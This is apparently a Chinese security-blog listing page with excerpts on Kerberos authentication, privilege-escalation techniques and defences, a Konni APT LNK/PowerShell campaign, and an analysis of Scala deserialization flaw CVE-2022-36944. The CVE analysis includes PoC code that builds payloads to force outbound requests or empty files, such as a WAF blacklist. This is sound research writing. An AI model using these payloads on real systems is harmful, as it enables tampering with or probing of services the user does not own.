等数据,以及一些其他信息。 注意这里传递是用clinet的哈希值加密的内容,而不是传递了client的明文密码 AS_REP AS收到请求后,AS 会先向活动目录 AD 请求,询问是否有此 Client 用户,如果有的话,就会取出它的 NTLM-Hash,并对AS_REQ请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密 ...

    2023-08-28 234
  • 盘点蓝军(攻击方)惯用的本地提权攻击手段

    前言 在网络攻防演练实战中,权限提升技战法扮演着关键的角色。权限提升是攻击者在系统或网络中升级自身权限的关键技术,承接了攻击者获取初始访问权限的努力,并为之后的攻击行动铺平道路。高权限使攻击者能够突破初始的访问限制,进而实现更深入、更具破坏性的攻击。 在演练中,蓝军(攻击方)可能会利用各种技术手段进行权限提升攻击,突破初始的限制,进一步渗透目标网络,获取更敏感的信息、控制更多的系统资源,或者对目标进行更深入的操纵和破坏。红军(防守方)面临着蓝军利用各种技术手段试图提升权限的挑战。 攻防演练中本地权限提升攻击的“五大危害”: 系统安全降级:通过权限提升手段,攻击者可以将受害者的权限从普通用户提升为管理员,这会导致系统的安全性大幅降低。一旦攻击者获得管理员权限,他们可以安装恶意软件、修改系统设置、删除重要文件,甚至完全控制受害者的计算机。 恶意软件安装:许多恶意软件需要管理员权限才能成功感染系统,因此它们借助各类权限提升手段欺骗用户,使其在不知情的情况下安装恶意软件。这可能包括间谍软件、勒索软件、广告软件和其他类型的恶意程序。 敏感数据泄露:绕过安全限制,访问用户的敏感数据。这些数据可能包括个人身份信息、登录凭据、金融信息等。一旦数据泄露,用户可能会面临身份盗用和其他严重后果。 系统文件篡改:修改系统文件、注册表项和配置设置,导致系统不稳定或无法正常运行。这可能导致系统崩溃、蓝屏等问题,严重影响用户的正常使用。 后门隐匿安装:可以被恶意软件利用来安装后门程序,为攻击者提供长期访问和控制的机会。这使得攻击者可以持续监视和操纵受害者的计算机,而不被察觉。 为了应对攻防演练实战的考验,防守方需要理解和掌握权限提升技战法,搭配相关产品与相应的防御措施,以有效保护关键靶标免受攻击。本文总结了攻防演练中高频使用的权限提升方式及应对之策,帮助防守方增加对攻击者行为的了解,更好地应对和防范权限提升攻击。 攻防演练高频本地权限提升高频技战法 在攻防演练的后渗透阶段中,用于实现权限提升的方案里使用频率最高的有漏洞利用、UAC Bypass、Potato等: 1.本地权限提升类漏洞 在获取目标初始访问权限后,通过权限提升漏洞扩大攻击能力,或将权限提升漏洞直接附加在木马武器中进行投递。在Windows操作系统中,出现漏洞的组件既有Win32k、Print Spooler这种漏洞“重灾区”,也有近两年频繁出现漏洞的内核组件CLFS通用日志文件系统。Windows作为最为常见的PC操作系统,其上的高可利用提权漏洞带来的危害不言而喻,而Linux在生产环境、服务器等场景下也占有不少的应用,一旦遭受漏洞攻击,会给用户的生产生活带来严重的损失。 在Windows操作系统中,打印机服务(Print Spooler)漏洞应用范围广,稳定性强,同时具有强危害性,例如名为PrintNightmare的CVE-2021-1675/CVE-2021-34527漏洞,在域环境中合适的条件下,无需任何用户交互,未经身份验证的远程攻击者就可以利用该漏洞以SYSTEM权限在域控制器上执行任意代码。此外,近期爆出的在野利用漏洞同样值得关注,例如Windows CLFS权限提升漏洞CVE-2023-28252,由于其很高的可利用性,可能会被攻击者继续利用。 在Linux操作系统方面,CVE-2021-3156 sudo提权漏洞从被公开便被认为是一个非常严重的漏洞,它影响了Linux和Unix系统上的sudo命令,允许未经授权的用户在系统上获得root权限。 2.UAC Bypass用户端权限提升方案 Microsoft的Windows Vista和Windows Server2008操作系统引入了一种良好的用户帐户控制架构,它是Windows的一个安全功能,防止对操作系统进行未经授权的修改。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。如果管理员不允许更改,则更改不会执行。 Uac Bypass是指攻击者绕过UAC机制的弹窗通知,在不提示用户的情况下达到执行高权限操作的攻击技法。当程序出现提升权限的请求时,AIS服务将校验其是否满足权限提升的条件。满足一定条件的程序将不需要弹出UAC对话框自动提升为管理员。例如,使用Rundll32加载特制的DLL,该DLL加载自动提升的组件对象模型对象,并在通常需要提升访问权限的受保护目录中执行文件操作。恶意软件也可能被注入到受信任的进程中,以获得提升的权限,而无需提示用户。 常见的UAC Bypass方式有劫持特定的注册表项、绕过AIS对可信目录的检查逻辑、滥用Windows AutoElevate等,UACME开源项目中列举的很多已知的UAC Bypass方案,说明UAC仍存在较大的暴露面,需要在演练前进行针对性的封锁。 3.Potato服务端权限提升方案 服务账户身份在Windows权限模型中本身就具有很高的权限,部分服务进程具备可模拟客户端的SelmpersonatePrivilege进程权限。Potato提权的原理基于Windows操作系统中的一个可滥用的安全机制,该机制存在于Windows的管道(pipe)服务中。通过特殊方式构造SYSTEM身份向恶意服务端的连接,即可借助特殊权限模拟SYSTEM进程身份,实现Potato提权。 Potato相关技术在武器化实战过程中一直演进、成熟。在演练中,一旦从外部突破到服务器,攻击者往往选择利用Potato攻击技术从服务账户提升到SYSTEM权限,进行后续权限维持等攻击操作,造成严重后果。且在服务器场景下可能存在部分防御薄弱、账户权限较高的特殊性,Potato提权方式在演练中一直有比较亮眼的发挥。 综上,在攻防演练前,防守方有必要对己方资产中相关漏洞、防护缺口进行排查,提高演练过程中对相关行为的检测能力,避免防守失分。一旦高权限被攻击者获取,攻击者能够展开更深层次的渗透攻击。 企业用户如何应对本地权限提升威胁 除了及时更新系统、实施最小权原则以外,需要对已知的本地提权漏洞、UAC Bypass方案以及Potato提权方式进行及时的研究与封锁。更进一步,在防护端对权限提升本身进程权限发生变化的行为进行监控,实现对权限提升类行为的防控。绿盟一体化终端安全管理系统(UES)已集成对进程权限异常变化的检测,提供权限提升威胁发现与告警能力,保障终端安全。 ...

    2023-08-26 240
  • 基于LazyList的Scala反序列化漏洞透析(CVE-2022-36944)

    引言 前段时间打SCTF,大牛师傅们的WP后,在hello java那道题使用了CVE-2022-36944这个漏洞,但是查阅资料在国内乃至全世界互联网中没有找到相关分析文章,在github上找到了1个复现项目环境,研究了一些时间大概懂了一点。 没接触过Scala语言,虽然和java兼容性很强,但很多语言特性和机制都是第一次接触,而且有段时间没搞java安全了,这次相当于没有现成的分析文章,只能硬着头皮啃 POC复现环境 Github: lazylist-cve-poc “线索” For security, preventFunction0execution duringLazyListdeserialization 关于这个CVE的最详细的信息就是这位CVE发现者提交的issue,所以我能挖掘到的一切关于这个CVE的信息都是基于上面的POC环境和这个issue 利用条件 scala版本<2.13.9 允许用户伪造序列化字节流数据 前置知识 对于我本人来说,要钻透某个漏洞的话就必须要搞清楚是哪一步产生了漏洞,那么前提就是要了解这个漏洞产生流程的大框架,否则只针对链子上某点出现的反序列化干分析不仅枯燥难懂而且总感觉少了点什么 有Scala基础的师傅可以直接跳过这部分 Scala简介 Scala语言是一门多范式的编程语言,设计初衷是要集成面向对象编程和函数式编程的各种特性。Scala运行在Java虚拟机上,并兼容现有的Java程序。Scala源代码被编译成Java字节码,所以它可以运行于JVM之上,并可以调用现有的Java类库。 Scala和Java之间的联系很紧密,Scala可以看作是对Java语言的丰富和扩展,Scala比Java更加灵活和强大,支持更多的编程范式和语言特性,例如高阶函数、模式匹配、特质、偏函数、隐式转换等。 这个特性对于经验丰富的scala开发者来说很舒服,但对于第一次接触scala就要啃源码的人来说非常非常非常不友好,比如笔者 Scala也可以利用Java的丰富的生态系统,使用Java的各种框架和库。 Scala和Java之间的区别也很明显,Scala有自己的语法规则和风格,与Java有很多不同之处,例如变量声明、函数定义、类构造、异常处理、集合操作等。Scala还有一些Java没有的概念,例如伴生对象、样例类、富接口、自身类型等 基础语法即使不懂scala也差不多能看懂,所以不涉及语法糖或者比较新的机制的地方本篇文章不做论述 但scala代码的有些地方还是容易迷糊,所以在之后部分涉及到的语法看不懂的可以先自行学习一下 匹配器match Scala语言的匹配器match是一种强大的语法结构,它可以让你根据不同的条件对一个值进行分支处理,类似于Java中的switch语句,但是更加灵活和强大。 match的基本用法 // 定义一个值 val x = ... // 使用match对值进行匹配 x match { // 每个case表示一种匹配情况 case 条件1 => 结果1 // 如果x满足条件1,就返回结果1 case 条件2 => 结果2 // 如果x满足条件2,就返回结果2 ... case _ => 默认结果 // 如果x都不满足上面的条件,就返回默认结果,_表示任意值 }   当然,你也可以用其他字符表示默认结果,而与_的区别就是_作为接受其他情况的变量时不会赋予$值 object Main { def show(result:String):Unit={ println(result) } def main(args: Array[String]): Unit = { val x=11 val y=x match { case 1 => "one" case 2 => "two" case other => s"other: $other" // other是一个变量名,它会接收除了1和2以外的任何值 //case _ => s"other: $" //错误:Cannot resolve symbol _ } show(y) //other: 11   }} match可以匹配不同类型的值,比如整数、字符串、布尔值等,也可以匹配复杂的数据结构,比如列表、元组、样例类等。match还可以使用模式守卫来增加额外的判断条件,比如: x match { case 条件1 if 表达式1 => 结果1 // 如果x满足条件1,并且表达式1为真,就返回结果1 case 条件2 if 表达式2 => 结果2 // 如果x满足条件2,并且表达式2为真,就返回结果2 ...} match的其他用法 // 把match赋值给一个变量val result = x match { case 条件1 => 结果1 case 条件2 => 结果2 ...}   // 把match作为函数的参数def foo (y: Int) = {println (y)}foo (x match {case 条件1 => 结果1case 条件2 => 结果2...}) // 把match作为函数的返回值def bar (z: String): Boolean = z match {case "yes" => truecase "no" => falsecase _ => false}   总的来说,match是一个表达式,它有一个返回值 apply方法 apply方法是Scala中一个非常有用的特性,它可以让我们用一种简洁而直观的方式来创建和使用对象。 apply方法的本质是一个普通的方法,它可以定义在类或者对象中,但是它有一个特殊的语法糖,就是当我们用括号传递参数给一个类或者对象时,Scala会自动调用它的apply方法,并把参数传给它。 例如: // 定义一个类Person,有一个name属性class Person(val name: String)   // 定义一个伴生对象Person,有一个apply方法,接受一个name参数,返回一个Person实例object Person {def apply(name: String) = new Person(name)} // 创建一个Person实例,可以直接用Person("Alice"),而不需要用new Person("Alice")val alice = Person("Alice")//相当于Person.apply("Alice") // 打印alice的name属性,输出Aliceprintln(alice.name)   我们通过Person("Alice")这种方式创建了一个Person实例,而不需要用new关键字。这是因为Scala会把Person("Alice")转换成Person.apply("Alice"),也就是调用了伴生对象Person的apply方法,并把"Alice"作为参数传给它。这样就可以省略new关键字,让代码更简洁。 apply方法不仅可以定义在伴生对象中,也可以定义在类中。当我们对一个类的实例用括号传递参数时,Scala会调用该类的apply方法,并把参数传给它。 object Main {   def main(args: Array[String]): Unit = { class Person(val name: String){ //在类中定义apply方法,输出name def apply() :Unit = println(s"I am $name") } var p= new Person("lanb0") p()//相当于p.apply() //I am lanb0 }} 伴生对象 伴生对象是Scala中一种特殊的单例对象,它与一个同名的类存在于同一个文件中,这个类被称为伴生类。 伴生对象和伴生类之间有以下几个特点: 伴生对象和伴生类可以互相访问对方的私有成员,包括字段和方法。 伴生对象的成员相当于Java中的静态成员,可以直接通过对象名调用,而不需要创建对象实例。 伴生对象可以实现apply方法,用于创建伴生类的实例,这样就可以省略new关键字。 伴生对象可以实现unapply方法,用于实现模式匹配和提取器的功能。 伴生对象可以扩展一个或多个特质(trait),从而实现多重继承和混入(mixin)的效果。 下面是一个简单的例子,演示了伴生对象和伴生类的定义和使用: // 定义一个Person类,作为伴生类class Person(val name: String, val age: Int) { private val secret = "I love Scala"   def sayHello(): Unit = {println(s"Hello, I am $name, $age years old.")}} // 定义一个Person对象,作为伴生对象object Person { var count = 0 def increase(): Unit = {count += 1println(s"Person count: $count")} def showSec():Unit={println(apply("test",1).secret)} // 定义一个apply方法,用于创建Person类的实例def apply(name: String, age: Int): Person = {increase()new Person(name, age) // 返回新的Person对象} // 定义一个unapply方法,用于提取Person类的属性def unapply(person: Person): Option[(String, Int)] = {if (person == null) None // 如果person为空,返回Noneelse Some(person.name, person.age) // 否则返回Some元组}}object Main { def main(args: Array[String]): Unit = {// 使用伴生对象的apply方法创建Person类的实例,省略了new关键字val p1 = Person("Alice", 20)//Person count: 1val p2 = Person("Bob", 25)//Person count: 2 // 使用伴生对象的字段和方法 println(Person.count) // 输出2 Person.increase() // Person count: 3 Person.showSec()//输出Person count: 4 //I love Scala(伴生对象可以访问伴生类的私有成员) // 使用伴生类的字段和方法 /* println(p1.secret)// 无法访问私有成员 */ p1.sayHello() // 输出Hello, I am Alice, 20 years old. // 使用模式匹配和提取器,利用伴生对象的unapply方法 val p3=null p1 match { case Person(name, age) => println(s"$name is $age years old.") // 输出Alice is 20 years old. case _ => println("Unknown person.") } p3 match { case Person(name, age) => println(s"$name is $age years old.") // 输出Unknown person. case _ => println("Unknown person.") } }}   特质trait Scala语言中,有一个Scala语言中,有一个重要的概念叫做特质(trait),它类似于Java语言中的接口,但是比接口更加强大和灵活。 特质(trait)是一种定义了一组抽象或具体的属性和方法的类型,它可以被类(class)或对象(object)扩展(extends)或混入(mix in)。 特质可以实现多重继承,也就是说,一个类可以继承多个特质,从而获得所有特质中定义的属性和方法。 特质的定义和使用 特质的定义使用关键字trait trait PersonBody { val height: Int}     但是特质不能被实例化,因此特质没有参数,也没有构造函数。像trait PersonBody(170)或者new PersonBody(170)这样的写法就是错的,可以类比java的接口无法实例化 要使用特质,可以使用extends关键字来扩展一个或多个特质 扩展单个特质 object Main { trait PersonBody { var height: Int } class Person(name : String) extends PersonBody{ override var height: Int = 170 } def main(args: Array[String]): Unit = { var person = new Person("Cloud") println(person.height) //170 }} 注意,重写(实现)属性或方法时,需要使用override关键字来修饰 trait的方法声明必须被实现 扩展多个特质 使用with关键字来连接 object Main { trait PersonBody { var height: Int } trait PersonHobby{ var hobbyGame="Honor of King : World" def showHobby() } class Person(name : String) extends PersonBody with PersonHobby { override var height: Int = 170   override def showHobby(): Unit = { println(hobbyGame) } }def main(args: Array[String]): Unit = {var person = new Person("Cloud")person.showHobby() }}   with后面可以跟with,来扩展很多特质 object Main { trait PersonBody { var height: Int } trait PersonHobby{ var hobbyGame="Honor of King : World" def showHobby():Unit } trait PersonScore{ var math="150" def showScore():Unit } class Person(name : String) extends PersonBody with PersonHobby with PersonScore { override var height: Int = 170   override def showHobby(): Unit = { println(hobbyGame) } override def showScore(): Unit = { println(math) } } def main(args: Array[String]): Unit = { var person = new Person("Cloud") person.showHobby() person.showScore() }}/*输出Honor of King : World150*/ 自身类型self-type self-type表示一个类或特质依赖于另一个类型,即它必须和另一个类型混入(mixin)才能被实例化。 用一个简单的例子来解释Scala自身类型的概念。假设你有一个宠物猫,它有一些属性和行为,比如名字、颜色、叫声等。你可以用一个类来表示它: class Cat { val name: String = "Tom" val color: String = "Gray" def meow(): Unit = println("Meow!")} 现在,你想给你的猫添加一些新的功能,比如会说话、会唱歌、会跳舞等。你可以用特质来定义这些功能: trait Talkative { def talk(): Unit}   trait Singer {def sing(): Unit} trait Dancer { def dance(): Unit} 但是,这些功能并不是所有的猫都有的,只有一些特殊的猫才有。比如,只有会说话的猫才能唱歌,只有会唱歌的猫才能跳舞。你怎么表示这种依赖关系呢?你可以用自身类型来做到这一点: trait Talkative { def talk(): Unit}   trait Singer {self: Talkative => // 声明自身类型,表示Singer依赖于Talkativedef sing(): Unit = {talk() // 可以直接使用Talkative的成员println("La la la...")}} trait Dancer { self: Singer => // 声明自身类型,表示Dancer依赖于Singer def dance(): Unit = { sing() // 可以直接使用Singer的成员 println("Shake shake shake...") }} 这样,你就可以给你的猫混入这些特质,让它变得更有趣: val tom = new Cat with Talkative with Singer with Dancer // 创建一个会说话、唱歌、跳舞的猫tom.talk() // 输出:Meow!tom.sing() // 输出:Meow! La la la...tom.dance() // 输出:Meow! La la la... Shake shake shake... 但是,如果你试图给一个不会说话的猫混入Singer或Dancer特质,就会报错: val jerry = new Cat with Singer // 报错:illegal inheritance; self-type Cat with Singer does not conform to Singer's selftype Singer with Talkativeval lily = new Cat with Dancer // 报错:illegal inheritance; self-type Cat with Dancer does not conform to Dancer's selftype Dancer with Singer 这是因为自身类型注解限制了混入特质的对象必须满足依赖类型的条件。这样可以保证对象在使用特质的成员时不会出现错误。 惰性列表LazyList(重点) LazyList是Scala 2.13版本引入的新的集合类型,它是一种惰性求值的列表。惰性求值的意思是,列表中的元素只有在需要的时候才会被计算,而不是一开始就全部计算好。这样可以节省内存和时间,也可以表示无限的序列。 State,head及tail 名称 类型 作用 state 字段 存储LazyList对象的状态,表示惰性序列的结构和计算状态 State 特质 定义LazyList对象的状态的特质,有两个子类:Cons和Empty tail 方法 返回一个新的LazyList对象,包含除了第一个元素之外的所有元素,惰性求值 head 方法 返回LazyList对象的第一个元素,严格求值 State private sealed trait State[+A] extends Serializable { def head: A def tail: LazyList[A] } state private lazy val state: State[A] = { // if it's already mid-evaluation, we're stuck in an infinite // self-referential loop (also it's empty) if (midEvaluation) { throw new RuntimeException("self-referential LazyList or a derivation thereof has no more elements") } midEvaluation = true val res = try lazyState() finally midEvaluation = false // if we set it to true before evaluating, we may infinite loop // if something expects state to already be evaluated stateEvaluated = true lazyState = null // allow GC res } 通过lazyState()方法去计算State的head和tail,保证LazyList的实时状态正确 关键字lazy表示延迟计算,也就是使用到的时候才会计算出结果 工作原理(关键) 光看上面的这几个成员会让人很头大,所以我用了很长一段时间才把他们的内在联系和整个LazyList体系的运行机制搞明白了 首先,我们创建一个存有无限个数字"1"的LazyList val ones = LazyList.continually(1) 此时,我们println这个惰性列表,可以发现是全都没有计算的,会打印出LazyList(<not computed>) 之后,我们用drop方法取出第一个元素(索引为0),就要用到我们之前的head方法,返回LazyList对象的第一个元素。然后再次打印这个LazyList println(ones.drop(0).head)//1println(ones)//LazyList(1, <not computed>) 好了,到此结束,接下来我们分析一下LazyList的内部做了什么 内部流程 创建LazyList时,LazyList会接受一个参数lazyState(一般情况下用户不用管),这个lazyState是一个无参的匿名函数,这个匿名函数会返回一个State对象,这个State存储着head和tail方法 private sealed trait State[+A] extends Serializable { def head: A def tail: LazyList[A]} 这个匿名函数的head方法是:返回一个元素,这个元素是当前LazyList计算出的第一个元素 这个匿名函数的tail方法是: 返回一个新的LazyList,存储着除了第一个元素之外的其他元素(这里的"存储"并不是实际存在的,更恰当的说是表示其他元素的一个集合) 注意,此时匿名函数并没有被调用,也就是说state字段的head和tail都还没有实现 到目前为止,LazyList里面一个实际存储的元素都没有,所以会显示LazyList(<not computed>) 接下来,我们调用了方法来取出第一个元素 LazyList会使用state.head来获取第一个元素,此时需要用到state,所以懒加载的state字段开始初始化 private lazy val state: State[A] = { state字段在初始化过程中,会调用lazyState()方法,这个lazyState就是LazyList的构造器接受的那个匿名函数。 val res = try lazyState() finally midEvaluation = false lazyState方法执行完后会返回一个State对象,这个State的head方法返回数字1,而tail方法返回一个新的存着无限个1的LazyList LazyList使用state.head方法获取到结果之后,把结果返回给drop.head的方法调用者 之后,如果未来还要取新的元素,那么我们所使用的LazyList就是tail方法返回的那一个新的存有无限个1的LazyList,而刚开始创建的那个LazyList就被垃圾回收器收走了 通过这个流程,我们可以看出惰性列表的本质,就是不停地用方法去取值,而不是一开始就存着[1,1,1,1,1......]在内存中 LazyList如何实现序列化与反序列化(关键) SerializationProxy类,它是一个序列化代理,它是用来代替LazyList对象进行序列化和反序列化的类。 官方注解 翻译过来就是: 序列化代理用于将LazyList转换成一个可以存储或者传输的格式。 这个序列化代理适用于那些以一系列已经计算出来元素开头的LazyList。这些已经计算出来的元素会以一种紧凑的顺序格式进行序列化,然后跟着未计算出来的元素,它们使用标准的Java序列化方式来存储未计算出来的元素的结构。这样就可以实现对长的已经计算出来的惰性序列的序列化,而不会因为递归地序列化每个元素而耗尽栈空间。 序列化 private[this] def writeObject(out: ObjectOutputStream): Unit = { out.defaultWriteObject() var these = coll while(these.knownNonEmpty) { out.writeObject(these.head)//这里决定了POC里的createLazyList中,为什么需要设置一个空的state these = these.tail } out.writeObject(SerializeEnd) out.writeObject(these) } 流程可以分为以下几步: 调用out.defaultWriteObject()方法,这是一个标准的序列化操作 使用一个while循环遍历LazyList对象中已经计算出来的元素,并且使用out.writeObject方法将每个元素序列化 遇到第一个未计算出来的元素时,跳出循环 序列化一个特殊的标记SerializeEnd,表示已经计算出来的元素结束了 使用out.writeObject方法将未计算出来的元素(也就是LazyList对象的tail)进行序列化 序列化结束 反序列化 private[this] def readObject(in: ObjectInputStream): Unit = { in.defaultReadObject() val init = new ArrayBuffer[A] var initRead = false while (!initRead) in.readObject match { case SerializeEnd => initRead = true case a => init += a.asInstanceOf[A] } val tail = in.readObject().asInstanceOf[LazyList[A]] coll = init ++: tail } 流程可以分为以下几步: 调用in.defaultReadObject()方法,这是一个标准的反序列化操作。 创建了一个名为init的数组缓冲区,用来存储已经计算出来的元素。 使用一个while循环反序列化每个元素,并且判断是否是特殊的标记SerializeEnd。 如果不是,就将该元素添加到init数组缓冲区中; 如果是,就表示已经计算出来的所有元素都已经反序列化完了,跳出循环。 反序列化剩余的没有计算出的元素,并将其类型转换为LazyList 使用++:方法连接init和tail,重构LazyList 反序列化结束 漏洞分析 CVE-2022-36944的产生原因,简单来说就是scala的LazyList在反序列化时会调用一个无参匿名函数来更新LazyList的状态,而这个函数是是可以被控制的 首先是ObjectInputStream.readObject方法接受到伪造的序列化字节流之后,尝试反序列化LazyList,进而把控制权转交给SerializationProxy类的readObject方法 执行到++:方法, 跟进++:(没想到吧,我是个方法) 可以看到调用了prependedAll方法,但是在LazyList中重写了这个方法 跟进knownIsEmpty方法, 这里要让stateEvaluated为true,否则不会执行isEmpty方法 跟进isEmpty方法, 跟进state字段, 跟进LazyState函数,可以发现就是LazyList构造器接受的无参匿名函数 最终我们只需要提前将这个函数替换为符合条件的任意函数,就可以达到漏洞利用的效果 如何找到可利用的方法 从LazyList的构造器的参数定义中,可以看出,lazyState的要求是一个无参的匿名函数,其次这个CVE利用的是函数,并不能RCE,所以我们还需要找到标准java库或者scala库中可以使用的无参匿名函数 我们需要知道,在Scala中,所有无参匿名函数都会被编译器转换为实现了Function0接口的实例对象, 假如我们有以下代码: object Main { def main(args: Array[String]): Unit = { //定义一个匿名函数a val a=()=>{} }} 用scalac编译为class字节码 scalac Main.scala javap反编译 javap Main$.class scala编译器会为每一个伴生对象创建一个对象名(类名)+$结尾的类,类中的MODULE$静态成员就是伴生对象自身,存有自身的所有属性和方法 或者直接复制以下代码 object Main { class test(val func:()=>Int){ def show(): Unit = { func() } }} 然后Ctrl+左键查看func的类型信息 可以看到编译器自动将func所表示的匿名函数转换为了Function0的实现对象 那么接下来的任务,就是要找到实现了Function0的所有类 查看POC中的DefaultProviders类,发现使用的都是以$$anonfun$$lessinit$greater$x 结尾的类,这些类 scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3scala.sys.process.ProcessBuilderImpl$FileInput$$anonfun$$lessinit$greater$2scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1 这里再稍微说一下这些类名是如何生成的,以scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1为例 Scala编译器在编译Scala代码时,会将匿名函数转换成Java字节码,这样就可以在Java虚拟机上运行。为了与Java兼容,Scala编译器会为每个匿名函数生成一个类,并给这个类一个特殊的名字,通常是anonfun加上一些数字和符号。这个类名的作用是唯一地标识这个匿名函数,以便在运行时调用。 $URLInput:表示ProcessBuilderImpl的内部类 $$anonfun:表示匿名函数的前缀,表示这是一个自动生成的类。 $$lessinit$greater:是<init>的转义形式,表示这个匿名函数是在构造器中定义的。 $1:是匿名函数的序号,表示这是第一个匿名函数。 去追踪一下这个类,发现最多只能看到URLInput类 那如果直接用URLInput行不行呢,尝试把代码改一下 public static Function0<Object> urlInput(Object[] args){ try { URL url = new URL((String) args[0]); return ReflectionUtil.newInstance("scala.sys.process.ProcessBuilderImpl$URLInput", new Class[]{ ProcessBuilder$.class, URL.class}, new Object[] { ProcessBuilder$.MODULE$,url});//这里要用ProcessBuilder的实例对象,否则报错 } catch (MalformedURLException e) { throw new RuntimeException(e); }   }   生成一下payload 发现报错,这是因为URLinput就是一个正常的类,而不是由Scala编译器转换过来的匿名函数,无法转换为Function0 所以说不能直接用URLinput作为利用方法 再回到scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1,以及URLInput类的那行定义, class URLInput(url: URL) extends IStreamBuilder(url.openStream(), url.toString) 猜测:当一个类继承了一个父类,并且这个被继承的父类的构造参数调用了子类构造参数的方法时,scala编译器会生成一个 带有$$anonfun$$lessinit$greater$类名的类。 做一个实验, class a(){ def msg(): String = { return "i am class a" }}class b (name:String)class c(url:a) extends b(url.msg()) 用sbt 生成字节码,查看生成的class 并没有生成带有$$anonfun$$lessinit$greater$类名的类,感觉还是忽略了什么 去查看IStreamBuilder类,也就是被URLInput继承的类, 发现其第一个构造参数如下 stream: => InputStream 这里的=>可不是()=>{}的简写,而是一个新的概念,叫做传名参数 传名参数是一种特殊的参数类型,它表示参数的值不是在函数调用时就确定,而是在函数体内每次使用时才计算。 可以理解为惰性求值,需要传入一个函数 更改实验代码: package zhb   class a(){ def msg(): String = { return "i am class a" }}class b (name: =>String)//这里注意冒号和等号之间的空格class c(url:a) extends b(url.msg()) clean一下,然后stb编译 多出来了c$$anonfun$$lessinit$greater$1.class, url.msg()即使改为一个带有参数的方法,也依然会生成同名类 观察其字节码可以发现其调用的a.msg() 到此为止,类比推理一下,我们终于明白scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1这个编译器自动生成的类其实就是url.openStream()方法转换而来的, 也就是说,在LazyList计算state时使用的LazyState(),经过我们精心构造后被替换为了url.openStream()方法 对应的可利用函数还有如下: 对于url.openStream(),虽然他自身并不是匿名函数,理应是一个函数返回值。 但是因为自己是被作为传名参数调用的,这个方法只会再被需要使用时执行,所以会存留方法的引用或者说实现。 object HelloWorld { def main(args: Array[String]) { def msg(): Unit = { println("msg used!") } class a(age: => Unit) {//传名参数 } new a(msg()) //什么都不会输出 }} 又因为是作为父类的构造参数,所以scala编译器会为父类的传名参数生成一个实现了Function0类的子类,即使这个参数的实现方法参数可能不为0 对于FileInputStream和FileOutputStream的new方法,同理 综上所述,CVE-2022-36944的可利用方法的符合条件如下: 1.作为传名参数被使用 2.满足(1)的同时,作为父类的构造参数 3.存在于受害者服务环境中的classpath中 有兴趣的师傅可以再找找有没有其他可利用方法 漏洞复现 poc.cve.lazylist.payload.Main更改为Base64方式输出 public class Main { public static void main(String[] args) throws IOException { ....   String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64); } } victim改为对Base64进行反序列化 public class Victim { public static void main(String[] args) throws IOException { String data="rO0........."; deserialize(Base64.getDecoder().decode(data));   } } urlInput 起一个http服务或者dnslog, public class Main { public static void main(String[] args) throws IOException { String fileToTruncate = "http://url"; PayloadGenerator payloadGenerator = new LazyList(DefaultProviders.URL_INPUT); byte[] payload = payloadGenerator.generatePayload(fileToTruncate); String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64);   } } 生成payload后,复制给poc.cve.lazylist.victim.Victim的data变量,执行 可以接受到http请求,但是无法弹shell fileOutput 这个payload可以用来清空文件内容,比如黑名单 或者打开一个追加流,但没什么用 比如我们创建一个waf.txt,随便写点东西 public class Main { public static void main(String[] args) throws IOException { String fileToTruncate = "文件的绝对路径"; PayloadGenerator payloadGenerator = new LazyList(DefaultProviders.FILE_OUTPUT); boolean append=false;//清空文件 byte[] payload = payloadGenerator.generatePayload(fileToTruncate,append); String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64);   } } 生成payload后,复制给poc.cve.lazylist.victim.Victim的data变量,执行后清空文件内容 fileInput 文件输入流是用来读取文件的,所以在不能使用方法的前提下没什么用 心得感悟 断断续续用了一周左右的时间,从对scala的代码都看不懂到写完这篇文章,期间走了很多弯路,甚至想放弃,直到现在都无法相信自己能硬啃下来这个CVE,所以说,坚持不一定有好的结果,但一定会有收获。 最后,请允许我以崇高的敬意给予挖掘0day的安全研究员们  ...

    2023-08-20 286
  • Konni组织疑似针对韩国企业的攻击活动

    1 概述 安天CERT近期发现APT组织Konni的攻击活动,结合诱饵文件内容及以往的攻击活动推测,此次攻击可能为针对韩国企业进行的网络攻击。APT组织Konni的攻击活动最早可以追溯至2014年,并一直活跃至今。该组织长期针对俄罗斯、韩国等国家进行定向攻击活动,擅长使用社会热点话题作为诱饵对目标进行鱼叉式网络钓鱼攻击。 近期发现,Konni组织可能通过向目标投递与税务相关的ZIP文件实施攻击。在用户打开ZIP文件内的诱饵LNK文件时,执行设置好的PowerShell指令,打开LNK文件内包含的掩饰文档以及压缩包,执行压缩包内的脚本文件,设置注册表实现持久化机制,获取目标机的部分文件列表、进程列表等基础信息并回传至服务端,最终下载后续载荷并执行。 2 Konni攻击活动分析 表 2‑1 ZIP文件 Konni组织可能通过钓鱼攻击的手法投递税务相关主题的ZIP文件,ZIP文件内容如下表: 表 2‑2 ZIP文件内容 ZIP文件的内容如下图所示:   图 2‑1 ZIP文件内容 表 2‑3 LNK文件 上表中的LNK文件包含在ZIP文件内,LNK文件指向攻击者构造的一段PowerShell代码,该代码用于解码其中十六进制编码的数据并执行,将这段PowerShell代码提取出来如下所示。 图 2‑2 LNK文件指向的PowerShell代码 解码后的内容用于释放掩饰文档소명자료 목록(국세징수법 시행규칙).hwp到LNK文件所在的目录、删除LNK文件、提取内嵌的ZIP文件并将ZIP文件中的条目提取到%public%\documents目录下,最终执行start.vbs。   图 2‑3 释放后续文件 LNK文件内存储的掩饰文档及ZIP文件数据相连,数据结构如下图所示。   图 2‑4 LNK文件内存储的掩饰文档及ZIP文件 LNK文件释放的掩饰文档正文内容如下所示。   图 2‑5 소명자료 목록(국세징수법 시행규칙).hwp   申明资料目录(国税征收法实施规则) ZIP文件内包含的条目及对应文件的功能如下所示。   图 2‑6 ZIP文件内包含的条目 表2-4 ZIP内的文件及对应功能 